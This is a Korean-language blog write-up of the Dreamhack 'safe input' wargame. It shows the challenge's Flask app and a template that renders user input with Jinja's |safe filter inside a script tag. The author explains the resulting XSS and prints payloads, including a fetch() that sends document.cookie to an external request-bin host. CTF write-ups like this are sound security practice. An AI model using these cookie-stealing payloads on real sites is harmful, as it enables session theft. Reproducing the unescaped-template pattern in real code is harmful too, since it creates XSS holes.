[dreamhack] safe input

chwrld·2025년 1월 15일
0

dreamhack

목록 보기
20/21

🌱 Description

It's so safe that it can't be seen.

app.py

from flask import Flask, redirect, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from time import sleep
from os import urandom, environ
from urllib.parse import quote

app = Flask(__name__)
app.secretkey = urandom(32)

FLAG = environ.get("FLAG", "DH{fake_flag}")
PASSWORD = environ.get("PASSWORD", "1234")


def access_page(text, cookie={"name": "name", "value": "value"}):
    try:
        service = Service(executable_path="/chromedriver-linux64/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(f"http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(f"http://127.0.0.1:8000/test?text={quote(text)}")
        sleep(1)
    except Exception as e:
        print(e, flush=True)
        driver.quit()
        return False
    driver.quit()
    return True

@app.route("/", methods=["GET"])
def index():
    return redirect("/test")

@app.route("/test", methods=["GET"])
def intro():
    text = request.args.get("text")
    return render_template("test.html", test=text)


@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        text = request.form.get("text")
        if not text:
            return render_template("report.html", msg="fail")

        else:
            if access_page(text, cookie={"name": "flag", "value": FLAG}):
                return render_template("report.html", message="Success")
            else:
                return render_template("report.html", message="fail")
    else:
        return render_template("report.html")


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

코드가 길지만 볼 곳은 얼마 없다.

FLAG가 127.0.0.1의 쿠키로 들어가 있다.
우리는 서버 로컬에 있는 쿠키를 다른 사이트(드림핵 툴즈)로 보낼 것이다.

그러기 위해서는

1단계

  • 목표: 어떻게 XSS가 터지는지 이해할 것.

    나는 XSS cheat sheet에서 수동 브로트포싱을 하던 중에 터지는 코드를 발견했다.
    </script><script>alert('1')</script>

2단계

  • 목표: /report 에서 드림핵툴즈로 쿠키를 보낼 것

    어떻게 보낼 수 있을까? 간단하다. 스크립트를 실행할 수 있다면 GET 요청만 쿠키를 담아서 보내면 된다.
    </script><script>fetch('https://hcveuco.request.dreamhack.games/?cookie='+document.cookie);</script>

하지만

워게임이 왜 풀리는지도 모르고 풀면 무슨 의미가 있겠나. 이 문제의 원리는 test.html에 있다.

<body>
    <div class="container">
        <div class="note-header">Note</div>
        <div id="content" class="note-content">Hi everyone!</div>
        <div class="note-footer">This is Test</div>
    </div>
    <script>
            const contentElement = document.getElementById('content');
            const safeInput = "Test: " + `{{test|safe}}`;
    </script>
</body>

{{test|safe}}는 스크립트가 실행되도록 하는 코드다.
그러니까 싱글쿼터 안에 원하는 명령어를 넣어 실행시킬 수 있단 말이다.
그럼 이런식으로 코드를 실행시킬 수 있다.
'a;alert(1);//
/test 에서 코드가 실행되는지 확인해보고 /report에서 쿠키 요청을 보내면 된다.

profile
BoB 13th 최강포린이👮

0개의 댓글